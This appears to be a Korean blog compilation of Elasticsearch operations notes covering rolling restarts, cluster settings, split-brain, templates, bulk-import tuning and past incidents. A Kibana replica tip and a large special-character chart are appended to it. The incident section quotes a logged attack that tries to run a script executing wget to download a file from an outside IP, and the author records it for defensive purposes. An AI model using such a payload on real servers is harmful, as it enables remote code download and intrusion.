장애 상황이거나 Elasticsearch 버전업, 또는 dynamic setting update가 불가능한 설정의 변경이 필요할 경우 등 클러스터를 재시작해야 할 경우가 종종 있다.
일반적으로 동작상에 주는 영향을 최소화하도록 다음과 같은 순서가 권장된다.

  1. shard reallocation 끄기

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "none"
            }
    }'
    

    꼭 필요한 작업은 아니지만 이걸 끄지 않으면 노드가 클러스터에서 빠졌다가 다시 붙을 때마다 shard reallocation이 일어나서 불필요한 I/O 낭비, 시간 낭비가 발생한다.

  2. 노드 하나 shutdown

    curl -XPOST 'http://localhost:9200/_cluster/nodes/nodeId1/_shutdown'
    

    혹시, dedicated master node(즉, node.data: false이고 node.master: true인 노드)가 있다면 다른 노드들보다 먼저 끄도록 한다.

  3. 필요한 작업 수행

    설정 변경이나 Elasticsearch 버전업 등 필요한 작업을 하고 서버를 다시 띄운다.

  4. shard reallocation 다시 켜기

    다시 띄운 노드가 클러스터에 합류된 것을 확인한 후, 1번을 수행했었다면 reallocation을 다음과 같이 다시 켜준다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "all"
            }
    }'
    
  5. 기다리기

    모든 shard가 모든 노드에 배치되기를 기다린다.

  6. 반복

    남은 노드들에 1~5를 반복한다.

major version을 업그레이드 할 경우에는 rolling restart로는 안되고 전체 클러스터를 내린 후 버전을 올려서 다시 실행하는 full cluster restart가 필요하다.

- Dynamic setting

cluster와 index의 여러 옵션 중에는 서버 실행중에 API를 통해 dynamic하게 설정 변경을 할 수 있는 경우가 많다. 그런 이유로 서버 시작 시 elasticsearch.yml을 통해 충분히 적용을 못 한 부분이 있다면 어느 정도는 서버 재시작 없이 튜닝이 가능하다. 또한, 클러스터에 노드가 추가될 때마다 변경이 필요한 설정들도 있다.

  • persistent vs. transient

    클러스터 설정 시에는 아래 예제처럼 persistent나 transient를 지정할 수 있는데, persistent는 full cluster restart가 되어도 변하지않고 노드의 elasticsearch.yml보다도 우선하도록 하는 설정이다. transient는 노드의 재시작 시에는 풀리지 않지만 full cluster restart가 되면 elasticsearch.yml의 설정값이나 default 값으로 돌아가게 된다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
        "persistent" : {
            "discovery.zen.minimum_master_nodes" : 2 
        },
        "transient" : {
            "indices.store.throttle.max_bytes_per_sec" : "50mb" 
        }
    }'
    
  • Split-brain

    마스터 노드 선출에 문제가 생겨 마스터가 둘이 되면서 데이터가 갈려버리는 현상이다. 예를 들어 두 개의 노드로 구성된 클러스터에서 서버는 정상인데 서로의 connection이 끊어졌을 경우 마스터가 아니었던 노드도 상대가 연결이 끊어졌으니 스스로를 마스터로 선출하면서 두 노드가 각각의 클러스터로 갈려버리게 되는 것이다. 이 때에 같은 이름의 인덱스에서 데이터가 갈라진 것이 되므로 복구를 하게 되어도 한 쪽은 포기를 해야한다.
    이 현상을 피하기 위해서 가장 중요한 옵션은 discovery.zen.minimum_master_nodes이다. 기본값은 1인데, 보통은 (클러스터 노드 수)/2 + 1의 값이 권장된다.
    여기서 노드 두 개 짜리 클러스터의 경우, discovery.zen.minimum_master_nodes: 2(2/2 + 1 = 2)로 설정하면 split-brain은 피할 수 있겠으나 서로 연결이 끊어진 경우 각자가 스스로 마스터가 되지 못하므로 클러스터 자체의 장애 상황이 된다.
    그러므로 가장 좋은 해결책은 클러스터를 노드 두 개로 구성하지 않는 것이다. 하드웨어의 부담이 있다면 노드 하나는 node.data: false로 주어 마스터 선출에만 참여할 수 있도록 한다.

- Template

로그 수집용으로 time-series 인덱스가 생성되는데 미리 create API를 사용할 때 인덱스 setting이나 mapping을 적절히 적용하도록 시스템을 구현할 수도 있지만, template을 미리 정의하여 같은 규칙을 갖는 인덱스의 설정을 공유하도록 할 수도 있다.

  • Sample

    curl -XPUT http://localhost:9200/_template/template_sample -d '
    {
       "template" : "sample-*",
       "order" : 1,
       "settings" : {
           "number_of_shards" : 6,
           "number_of_replicas" : 1
       },
       "mappings" : {
           "_default_" : {
               "_source" : { "enabled" : true },
               "_ttl" : { "enabled" : true, "default" : "4w" }
           },
           "test01" : {
               "numeric_detection": "true",
               "properties" : { 
                 "host" : {"type": "string", "index": "not_analyzed"},
                 "ip" : {"type": "string", "index": "not_analyzed"},
                 "msg" : {"type": "string", "index": "not_analyzed", "doc_values": true}
               }
           }
       }
    }
    '
    
    • 'sample-'의 prefix를 갖는 인덱스가 생성될 때에는 위의 설정과 mapping scheme가 적용된다.
    • 만약 여러 템플릿이 하나의 노드에 겹쳐서 적용되게 될 경우, order 값이 높은 템플릿이 낮은 것을 overwrite한다.
    • number_of_shards 값은 인덱스가 생성되면 변경이 불가능하므로 잘 정의해 줄 필요가 있다.
    • mappings는 type별로 구분이 된다. type은 RDBMS의 table이라고 생각하면 된다.
    • _default_는 모든 type에 적용되는 설정이다.
    • _source를 끄면 인덱싱 될 때의 실제 JSON 값을 저장하지 않는다. 저장 공간이 더 소모될지라도 Kibana에서 데이터 확인을 편하게 하기 위해 우리 팀은 _source 값은 켠다.
    • _ttl은 지정한 기간이 지난 document를 삭제하는 기능이다. 인덱스의 모든 document가 지워져도 인덱스가 지워지지는 않는다.
    • 웬만한 string type의 field는 not_analyzed로 설정하는 것이 좋다. 우리는 검색 시스템이 아니라 로그 수집 시스템을 구축한 것이므로 searching보다 indexing이 중요하다.
    • analyzed string field는 terms aggregation 쿼리를 할 경우 원치 않는 결과가 나올 수 있다.
    • doc_values를 true로 주면 그 field는 fielddata cache를 memory를 쓰지 않고 disk를 사용하게 된다.
- Large data import

많은 데이터를 한꺼번에 넣을 때에는 _bulk request를 사용한다. 이 때에 _bulk request 한 번에 넣을 데이터의 양을 적절히 주는 것이 중요하다. 10MB 정도부터 차츰 늘리면서 넣어보는 것이 좋다. 결국 그 request data가 메모리에 올라가게 되므로 너무 크지 않은 데이터 묶음을 주는 것도 중요하지만 클러스터의 한 노드에만 요청이 몰리지 않도록 하는 것도 매우 중요하다.
그 외에 인덱싱 성능을 높일 수 있는 다양한 옵션들을 알아본다.

  • index.number_of_replicas: 0 데이터를 모두 넣은 후에 replica 수를 조절한다.

  • indices.store.throttle.type: none segment merging이 리소스를 모두 써버리면 searching이 안되기 때문에 throttle이 있는 것인데, 일단 search는 필요없는 상황이라면 throttle type을 none으로 껐다가 데이터 import 후에 merge로 돌리는 것으로 인덱싱 성능을 올릴 수 있다.

  • index.translog.flush_threshold_size: 1GB 위 권장 설정에서 튜닝한 값인데, flush 주기를 늘려서 인덱싱 성능을 향상시키는 데에 도움을 줄 수 있다.

  • index.refresh_interval: -1 기본값은 1s인데, refresh되지 않도록 껐다가 import가 끝나고 다시 켜면 인덱싱 성능에 도움이 된다. import가 끝난 후에는 optimize API를 사용해 segment merging을 시켜주도록 한다. optimize 하기 전에 index.number_of_replicas가 0인 것을 확인하는 것은 리소스 절약에 도움이 된다.

    curl -XPOST 'http://localhost:9200/test/_optimize?max_num_segments=5'
    
  • ID : document의 ID는 Elasticsearch가 자동 발급하도록 한다. 꼭 ID를 지정해서 넣을 필요가 있을 때에는 Lucene-friendly한 ID가 성능에 도움이 된다.

    • Lucene-friendly : consistent, sequential pattern으로 압축이 쉬운 ID. ex> zero-padded sequential ID, UUID-1, nanotime

    • Lucene-unfriendly : random ID. ex> UUID-4

- 인덱스 크기 유지

로그 수집 같은 time-series 인덱스를 사용하는 시스템에서는 인덱스 크기는 물론 개수가 무한히 늘어날 수 있으므로 과거의 인덱스를 삭제하여 클러스터의 인덱스 크기를 유지할 필요가 있다.

  • _ttl (TimeToLive)

    위 template 섹션에서도 나왔듯이 인덱스에서 지정한 기간이 지난 document를 삭제해주는 기능이다. 다만, 인덱스 자체가 지워지는 것은 아니기때문에 time-series 인덱스를 사용하는 시스템에서는 인덱스 목록 확인 시 많이 불편할 수 있다.

  • curator

    https://github.com/elasticsearch/curator/wiki
    time-series 인덱스의 관리를 편하게 해 주는 파이썬 도구이다. 여러 기능을 지원하는데, 우리의 목적인 오래된 인덱스를 삭제하는 예제는 다음과 같다.

    pip install elasticsearch-curator
    curator --host elasticsearch.example.com --port 9200 delete --older-than 15 --prefix sample-
    

    위 명령으로 'sample-'로 시작하는 15일이 지난 인덱스가 삭제된다.


장애발생! 장애발생!

그동안 함께했던 장애들을 공유한다.

- 디스크 부족

비정상적인 상황으로 debug 로그가 급속도로 쌓이면서 디스크를 모두 소비했는데, 해당 디스크를 Elasticsearch 데이터도 함께 쓰고 있던 상황이라 장애가 커졌다.
디스크 관련 발생 가능한 다양한 이슈 중 하나는 tranlog가 망가져 디스크 부족이 해결돼도 서버 재시작 시 샤드 복구가 안 되는 것이다.
클러스터의 정상화가 중요하므로 해당 데이터는 포기하고 데이터 폴더에서 translog 파일을 지우는 것으로 해결했다.

- 메모리 부족
Caused by: org.elasticsearch.common.util.concurrent.UncheckedExecutionException: org.elasticsearch.common.breaker.CircuitBreakingException: Data too large, data for field [LAST_UPDATED] would be larger than limit of [11270435635/10.4gb]

fielddata curcuit breaker와 cache 설정의 문제이다. 기본 설정값은 indices.fielddata.cache.size: unbounded인데 이 값이 indices.breaker.fielddata.limit보다 크면 heap이 해소가 안되기때문에 cache size를 변경해주어야한다. dynamic setting update가 불가능하므로 서버를 재시작 할 필요가 있다.
참고로, cache size가 너무 작으면 그만큼 메모리에 올라갈 수 있는 field 값이 적어진다는 얘기이므로 search가 느려질 것이다.

- 특정 노드 부하

적절한 클러스터 restart가 되지 않아 primary shard가 특정 노드에 매우 적게 배치될 수 있다. 그러면 다음날 새 인덱스가 생성될 때 특정 노드로 primary shard가 몰리게되고, 결국 한 노드만 인덱싱하는데 CPU를 소비하고 나머지 노드들은 CPU가 일을 하지 않는 불균형이 생기게 된다는 것이다.
또한 노드 별 샤드 수 자체에 불균형이 생기면 역시 search 작업 시 메모리 사용에도 불균형이 생기게 된다. 디스크 공간도 마찬가지다.
이런 경우가 발생하면 shard balancing 관련 설정을 조정하고 threshold도 낮추어서 적절히 균형을 맞출 수 있도록 한다.
내일의 인덱스를 미리 생성해보는 것으로 샤드 밸런싱이 맞는 지 확인할 수 있다.
다음과 같이 직접 API를 통해 rerouting을 해줄 수도 있다.

curl -XPOST 'localhost:9200/_cluster/reroute' -d '{
    "commands" : [ 
        {
          "move" :
            {
              "index" : "test", "shard" : 0,
              "from_node" : "node1", "to_node" : "node2"
            }
        },
        {
          "allocate" : {
              "index" : "test", "shard" : 1, "node" : "node3"
          }
        }
    ]
}'

move는 특정 샤드를 노드 간 이동시키는 것이고, alloocate는 unasssigned shard를 특정 노드로 배치하는 것이다. 해당 작업을 취소하는 cancel 명령어도 있다.

- Dynamic script를 동반한 DoS 공격시도
Caused by: org.elasticsearch.search.SearchParseException: [test-2015.01.02][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/asdq http://183.56.173.23:1153/asdq\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

이런 식의 스크립트 실행 시도가 계속 들어온다. 기본적으로 Elasticsearch로 사용된다고 알려진 9200 포트로 공격 시도를 하는 듯 하다. 방화벽을 막던가 인증을 걸던가 포트를 바꾸는 등의 조치가 필요하다.
기본적으로 script.disable_dynamic: true이기 때문에 공격성 스크립트가 실행되지는 않겠지만 상당한 로그로 인해 자칫 디스크 full이 될 수 있다.

- NumberFormatException
Caused by: java.lang.NumberFormatException: For input string: "MD"

scheme-less 인덱스인 경우 dynamic type mapping에 의해 첫 데이터가 추가될 때 각 field의 type이 지정되게 되는데, 하필 string type인 필드의 첫 데이터 값이 숫자로만 된 경우에는 해당 field가 숫자로 mapping되게 된다. 이 때, 이후에 들어오는 문자열 값을 가진 document는 모두 위와 같은 NumberFormatException을 뱉으면서 데이터 추가에 실패하게된다.
이런 경우가 클러스터 중 하나의 노드에만 발생할 수 있고, 따라서 문제의 노드가 보유한 샤드에만 데이터 추가가 실패할 수도 있다. [관련 링크]
계속된 실패로 엄청난 양의 실패 로그가 쌓여서 또다른 문제가 될 수 있는데, 일단은 해당 노드의 샤드를 다른 노드로 옮기는 것으로 해결이 되었다. rebalancing에 의해 다른 노드의 샤드가 문제의 노드로 옮겨오게 되어도 더이상 로그는 쌓이지 않게 되었다.
궁극적인 해결책은 미리 mapping을 통해 scheme를 정의하는 것이다.

- URL is too long

https://github.com/elasticsearch/elasticsearch/issues/3210
링크와 유사한 에러가 발생하기도 했다. 인덱스 이름도 긴데 일별 인덱스를 한달치 묶어서 쿼리를 하는 경우 url에 각 인덱스가 comma로 구분되어 들어가다보니 url이 너무 길어져서 발생하는 에러이다.
그런 과도한 쿼리는 하지 말거나, http.max_initial_line_length 값을 늘려 주는 것으로 해결할 수 있다. 기본값은 4kb이다.

- Empty text

http://stackoverflow.com/questions/23778336/how-to-fix-this-code-exception-error-elasticsearch
링크처럼 java.lang.IllegalArgumentException: empty text에러도 위의 'URL is too long'과 같은 시점에 발생했는데 둘이 어떻게 연관된 에러인지는 아직 확실한 분석이 되지 않았다. 링크의 답변으로는 http인데 https로 요청을 했다거나, transport port가 아니라 http port로 요청을 한 경우에 발생한다고 한다.
우리는 'URL is too long'을 해결함으로써 같이 해결이 되었다.

Shorel'aran~


kibana 실행시 kibana에 등록된 ES(elasticsearch)에 .kibana index를 등록한다. 이 때 replicas 개수가 기본 1로 세팅되어 있는 듯 하다.


kibana home 디렉토리에서 .kibana index 설정 파일을 찾아봤지만 찾을 수 없었다. 그래서 아래와 같은 방법으로 처리했다.



01. 현상

 




02. 명령어

 PUT /.kibana/_settings

{

    "index" : {

        "number_of_replicas" : "0"

    }

}



03. 결과

 




Analzer.pptx


 


http://kor.pe.kr/util/4/charmap.htm


~ ! @ # $ % ^ & * \ " ' + = ` | ( ) [ ] { } : ; - _ - # & & @ § ※ ☆ ★ ○ ● ◎ ◇ ◆ □ ■ △ ▲ ▽ ▼ → ← ← ↑ ↓ ↔ 〓

◁ ◀ ▷ ▶ ♤ ♠ ♡ ♥ ♧ ♣ ⊙ ◈ ▣ ◐ ◑ ▒ ▤ ▥ ▨ ▧ ▦ ▩ ♨ ☏ ☎ ☜ ☞ ¶ † ‡ ↕ ↗ ↙ ↖ ↘ ♭ ♩ ♪ ♬ ㉿ ㈜
№ ㏇ ™ ㏂ ㏘ ℡ ® ª º ─ │ ┌ ┐ ┘ └ ├ ┬ ┤ ┴ ┼ ━ ┃ ┏ ┓ ┛ ┗ ┣ ┳ ┫ ┻ ╋ ┠ ┯ ┨ ┷ ┿ ┝ ┰ ┥ ┸ ╂ ┒
┑ ┚ ┙ ┖ ┕ ┎ ┍ ┞ ┟ ┡ ┢ ┦ ┧ ┩ ┪ ┭ ┮ ┱ ┲ ┵ ┶ ┹ ┺ ┽ ┾ ╀ ╁ ╃ ╄ ╅ ╆ ╇ ╈ ╉ ╊
+ - < = > ± × ÷ ≠ ≤ ≥ ∞ ∴ ♂ ♀ ∠ ⊥ ⌒ ∂ ∇ ≡ ≒ ≪ ≫ √ ∽ ∝ ∵ ∫ ∬ ∈ ∋ ⊆ ⊇ ⊂ ⊃ ∪ ∩ ∧ ∨ ¬ ⇒ ⇔ ∀ ∃ ∮ ∑ ∏
! ' , . / : ; ? ^ _ ` |  ̄ 、 。 · ‥ … ¨ 〃 ­ ― ∥ \ ∼ ´ ~ ˇ ˘ ˝ ˚ ˙ ¸ ˛ ¡ ¿ ː
" ” 〔 〕 { } ‘ ’ “ ” 〔 〕 〈 〉 《 》 「 」 『 』 【 】
㉠ ㉡ ㉢ ㉣ ㉤ ㉥ ㉦ ㉧ ㉨ ㉩ ㉪ ㉫ ㉬ ㉭ 
㉮ ㉯ ㉰ ㉱ ㉲ ㉳ ㉴ ㉵ ㉶ ㉷ ㉸ ㉹ ㉺ ㉻
㈀ ㈁ ㈂ ㈃ ㈄ ㈅ ㈆ ㈇ ㈈ ㈉ ㈊ ㈋ ㈌ ㈍
㈎ ㈏ ㈐ ㈑ ㈒ ㈓ ㈔ ㈕ ㈖ ㈗ ㈘ ㈙ ㈚ ㈛
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂
$ % ₩ F ′ ″ ℃ Å ¢ £ ¥ ¤ ℉ ‰ € ㎕ ㎖ ㎗ ℓ ㎘ ㏄ ㎣ ㎤ ㎥ ㎦ ㎙ ㎚ ㎛ ㎜ ㎝ ㎞ ㎟ ㎠ ㎡ ㎢ ㏊ ㎍ ㎎ ㎏ ㏏ ㎈ ㎉ ㏈ ㎧ ㎨ ㎰ ㎱
㎲ ㎳ ㎴ ㎵ ㎶ ㎷ ㎸ ㎹ ㎀ ㎁ ㎂ ㎃ ㎄ ㎺ ㎻ ㎼ ㎽ ㎾ ㎿ ㎐ ㎑ ㎒ ㎓ ㎔ Ω ㏀ ㏁ ㎊ ㎋ ㎌ ㏖ ㏅ ㎭ ㎮ ㎯ ㏛ ㎩ ㎪ ㎫ ㎬ ㏝ ㏐ ㏓ ㏃ ㏉ ㏜ ㏆
ㄱ ㄲ ㄼ ㄽ ㄾ ㄿ ㅀ ㄷ ㄸ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ ㅀ ㅁ ㅂ ㅃ ㅄ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ
ㅏ ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅣ ㅛ ㅜ ㅝ ㅞ ㅟ ㅠ ㅡ ㅢ ㅣ
ㅥ ㅦ ㅧ ㅨ ㅩ ㅪ ㅫ ㅬ ㅭ ㅮ ㅯ ㅰ ㅱ ㅲ ㅳ ㅴ ㅵ ㅶ ㅷ ㅸ ㅹ ㅺ ㅻ ㅼ ㅽ ㅾ ㅿ ㆀ ㆁ ㆂ ㆄ ㆅ ㆆ ㆇ ㆈ ㆉ ㆊ ㆋ ㆌ
ㆍ ½ ⅓ ⅔ ¼ ¾ ⅛ ⅜ ⅝ ⅞ ¹ ² ³ ⁴ ⁿ ₁ ₂ ₃ ₄
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z
Α Β Γ Δ Ε Ζ Η Θ Ι Κ Λ Μ Ν Ξ Ο Π Ρ Σ Τ Υ Φ Χ Ψ Ω α β γ δ ε ζ η θ ι κ λ μ ν ξ ο π ρ σ τ υ φ χ ψ ω
0 1 2 3 4 5 6 7 8 9 ⅰ ⅱ ⅲ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ ⅹ Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ Ⅹ

ꊒ ꊓ ꊔ ꊕ ꊖ ꊗ ꊘ ꊙ ꊚ ꊛ
ꊈ ꊉ ꊊ ꊋ ꊌ ꊍ ꊎ ꊏ ꊐ ꊑ
ꊦ ꊧ ꊨ ꊩ ꊪ ꊫ ꊬ ꊭ ꊮ ꊯ
ꊝ ꊞ ꊟ ꊠ ꊡ ꊢ ꊣ ꊤ ꊥ
ꋍ ꋎ ꋏ ꋐ ꋑ ꋒ ꋓ ꋔ ꋕ ꋖ
ꋠ ꋡ ꋢ ꋣ ꋤ ꋥ ꋦ ꋧ ꋨ ꋩ
ꊰ ꊱ ꊲ ꊳ ꊴ ꊵ ꊶ ꊷ ꊸ ꊹ 
ꊺ ꊻ ꊼ ꊽ ꊾ ꊿ ꋀ ꋁ ꋂ
꓌ ꓍ ꓎ ꓏ ꓐ ꓑ ꓒ ꓓ ꓔ ꓕ
꒐ ꒑ ꒒ ꒓ ꒔ ꒕ ꒖ ꒗ ꒘ ꒙
꒮ ꒯ ꒰ ꒱ ꒲ ꒳ ꒴ ꒵ ꒶ ꒷
꓂ ꓃ ꓄ ꓅ ꓆ ꓇ ꓈ ꓉ ꓊ ꓋
ꓖ ꓗ ꓘ ꓙ ꓚ ꓛ ꓜ ꓝ ꓞ ꓟ
ꓪ ꓫ ꓬ ꓭ ꓮ ꓯ ꓰ ꓱ ꓲ ꓳ 
ꓠ ꓡ ꓢ ꓣ ꓤ ꓥ ꓦ ꓧ ꓨ ꓩ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂

ꈂ ꈃ ꈄ ꈅ ꈆ ꈇ ꈈ ꈉ ꈊ ꈋ ꈌ ꈍ ꈎ ꈏ ꈐ ꈑ ꈒ ꈓ ꈔ ꈕ
ꉭ ꉮ ꉯ ꉰ ꉱ ꉲ ꉳ ꉴ ꉵ ꉶ ꉷ ꉸ ꉹ ꉺ ꉻ ꉼ ꉽ ꉾ ꉿ ꊀ
ꆗ ꆘ ꆙ ꆚ ꆛ ꆜ ꆝ ꆞ ꆟ ꆠ ꆡ ꆢ ꆣ ꆤ ꆥ ꆦ ꆧ ꆨ ꆩ ꆪ
ꄽ ꄾ ꄿ ꅀ ꅁ ꅂ ꅃ ꅄ ꅅ ꅆ
㊀ ㊁ ㊂ ㊃ ㊄ ㊅ ㊆ ㊇ ㊈ ㊉
㈠ ㈡ ㈢ ㈣ ㈤ ㈥ ㈦ ㈧ ㈨ ㈩
㆒ ㆓ ㆔ ㆕ ㆖ ㆗ ㆘ ㆙ ㆚ ㆛ 
ꈖ ꈗ ꈘ ꈙ ꈚ ꈛ ꈜ
ꊁ ꊂ ꊃ ꊄ ꊅ ꊆ ꊇ
ꆫ ꆬ ꆭ ꆮ ꆯ ꆰ ꆱ 
㊊ ㊋ ㊌ ㊍ ㊎ ㊏ ㊐
㈪ ㈫ ㈬ ㈭ ㈮ ㈯ ㈰

㋀ ㋁ ㋂ ㋃ ㋄ ㋅ ㋆ ㋇ ㋈ ㋉ ㋊ ㋋
㏠ ㏡ ㏢ ㏣ ㏤ ㏥ ㏦ ㏧ ㏨ ㏩ ㏪ ㏫ ㏬ ㏭ ㏮ 
㏯ ㏰ ㏱ ㏲ ㏳ ㏴ ㏵ ㏶ ㏷ ㏸ ㏹ ㏺ ㏻ ㏼ ㏽ ㏾
㍘ ㍙ ㍚ ㍛ ㍜ ㍝ ㍞ ㍟ ㍠ ㍡ ㍢ ㍣ ㍤ ㍥ ㍦ ㍧ ㍨ ㍩ ㍪ ㍫ ㍬ ㍭ ㍮ ㍯ ㍰ 

ꆲ ꆳ ꆴ ꆵ ꆶ ꆷ ꆸ ꆹ ꆺ ꆻ ꆼ ꆽ ꆾ 
ꆿ ꇀ ꇁ ꇂ ꇃ ꇄ ꇅ ꇆ ꇇ ꇈ ꇉ ꇊ ꇋ
ꇌ ꇍ ꇎ ꇏ ꇐ ꇑ ꇒ ꇓ ꇔ ꇕ ꇖ ꇗ ꇘ 
ꇙ ꇚ ꇛ ꇜ ꇝ ꇞ ꇟ ꇠ ꇡ ꇢ ꇣ ꇤ ꇥ
ꈝ ꈞ ꈟ ꈠ ꈡ ꈢ ꈣ ꈤ ꈥ ꈦ ꈧ ꈨ ꈩ 
ꈪ ꈫ ꈬ ꈭ ꈮ ꈯ ꈰ ꈱ ꈲ ꈳ ꈴ ꈵ ꈶ
ꈷ ꈸ ꈹ ꈺ ꈻ ꈼ ꈽ ꈾ ꈿ ꉀ ꉁ ꉂ ꉃ 
ꉄ ꉅ ꉆ ꉇ ꉈ ꉉ ꉊ ꉋ ꉌ ꉍ ꉎ ꉏ ꉐ 
ꍽ ꍾ ꍿ ꎀ ꎁ ꎂ ꎃ ꎄ ꎅ ꎆ ꎇ ꎈ ꎉ 
ꎊ ꎋ ꎌ ꎍ ꎎ ꎏ ꎐ ꎑ ꎒ ꎓ ꎔ ꎕ ꎖ
ꅇ ꅈ ꅉ ꅊ ꅋ ꅌ ꅍ ꅎ ꅏ ꅐ ꅑ ꅒ ꅓ 
ꅔ ꅕ ꅖ ꅗ ꅘ ꅙ ꅚ ꅛ ꅜ ꅝ ꅞ ꅟ ꅠ
ꅡ ꅢ ꅣ ꅤ ꅥ ꅦ ꅧ ꅨ ꅩ ꅪ ꅫ ꅬ ꅭ 
ꅮ ꅯ ꅰ ꅱ ꅲ ꅳ ꅴ ꅵ ꅶ ꅷ ꅸ ꅹ ꅺ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ 
ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ 
⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
a b c d e f g h i j k l m 
n o p q r s t u v w x y z

ꂛ ꂜ ꂝ ꂞ ꂟ ꂠ ꂡ ꂢ ꂣ ꂤ ꂥ ꂦ ꂧ ꂨ
ꆉ ꆊ ꆋ ꆌ ꆍ ꆎ ꆏ ꆐ ꆑ ꆒ ꆓ ꆔ ꆕ ꆖ
ꇴ ꇵ ꇶ ꇷ ꇸ ꇹ ꇺ ꇻ ꇼ ꇽ ꇾ ꇿ ꈀ ꈁ
ꉟ ꉠ ꉡ ꉢ ꉣ ꉤ ꉥ ꉦ ꉧ ꉨ ꉩ ꉪ ꉫ ꉬ
㉮ ㉯ ㉰ ㉱ ㉲ ㉳ ㉴ ㉵ ㉶ ㉷ ㉸ ㉹ ㉺ ㉻
㈎ ㈏ ㈐ ㈑ ㈒ ㈓ ㈔ ㈕ ㈖ ㈗ ㈘ ㈙ ㈚ ㈛
ꂩ ꂪ ꂫ ꂬ ꂭ ꂮ ꂯ ꂰ ꂱ ꂲ 
ꃳ ꃴ ꃵ ꃶ ꃷ ꃸ ꃹ ꃺ ꃻ ꃼ
ꇦ ꇧ ꇨ ꇩ ꇪ ꇫ ꇬ ꇭ ꇮ ꇯ ꇰ ꇱ ꇲ ꇳ
ꅻ ꅼ ꅽ ꅾ ꅿ ꆀ ꆁ ꆂ ꆃ ꆄ ꆅ ꆆ ꆇ ꆈ
ꉑ ꉒ ꉓ ꉔ ꉕ ꉖ ꉗ ꉘ ꉙ ꉚ ꉛ ꉜ ꉝ ꉞ
㈀ ㈁ ㈂ ㈃ ㈄ ㈅ ㈆ ㈇ ㈈ ㈉ ㈊ ㈋ ㈌ ㈍
㉠ ㉡ ㉢ ㉣ ㉤ ㉥ ㉦ ㉧ ㉨ ㉩ ㉪ ㉫ ㉬ ㉭

ꂳ ꂴ ꂵ ꂶ ꂷ ꂸ ꂹ ꂺ ꂻ ꂼ ꂽ ꂾ ꂿ ꃀ ꃁ ꃂ 
ꃃ ꃄ ꃅ ꃆ ꃇ ꃈ ꃉ ꃊ ꃋ ꃌ ꃍ ꃎ ꃏ ꃐ ꃑ ꃒ 
ꃓ ꃔ ꃕ ꃖ ꃗ ꃘ ꃙ ꃚ ꃛ ꃜ ꃝ ꃞ ꃟ ꃠ ꃡ ꃢ 
ꃣ ꃤ ꃥ ꃦ ꃧ ꃨ ꃩ ꃪ ꃫ ꃬ ꃭ ꃮ ꃯ ꃰ ꃱ ꃲ
ꃽ ꃾ ꃿ ꄀ ꄁ ꄂ ꄃ ꄄ ꄅ ꄆ ꄇ ꄈ ꄉ ꄊ ꄋ ꄌ 
ꄍ ꄎ ꄏ ꄐ ꄑ ꄒ ꄓ ꄔ ꄕ ꄖ ꄗ ꄘ ꄙ ꄚ ꄛ ꄜ 
ꄝ ꄞ ꄟ ꄠ ꄡ ꄢ ꄣ ꄤ ꄥ ꄦ ꄧ ꄨ ꄩ ꄪ ꄫ ꄬ 
ꄭ ꄮ ꄯ ꄰ ꄱ ꄲ ꄳ ꄴ ꄵ ꄶ ꄷ ꄸ ꄹ ꄺ ꄻ ꄼ 

ꍟ ꍠ ꍡ ꍢ ꍣ ꍤ ꍥ ꍦ ꍧ ꍨ ꍩ ꍪ
ꍯ ꍺ ꍻ ꍼ ꎗ ꎘ ꎙ ꎚ ꎛ ꎜ ꎝ ꎧ ꎨ ꏁ ꏂ ꎯ
ꍫ ꍬ ꍭ ꍮ ꎞ ꎟ ꎠ ꎡ ꎪ 
ꍰ ꍱ ꍲ ꍳ ꍴ ꍵ ꍶ ꍷ ꍸ ꍹ ꎼ ꎽ ꎾ ꎿ ꎮ ꎰ ꎲ ꎬ
ꎢ ꎣ ꎤ ꎥ ꎦ ꎩ ꎫ ꎭ ꎱ ꎳ ꎶ ꎷ ꎸ ꎹ ꎺ ꎻ ꏀ ꏃ ꏄ

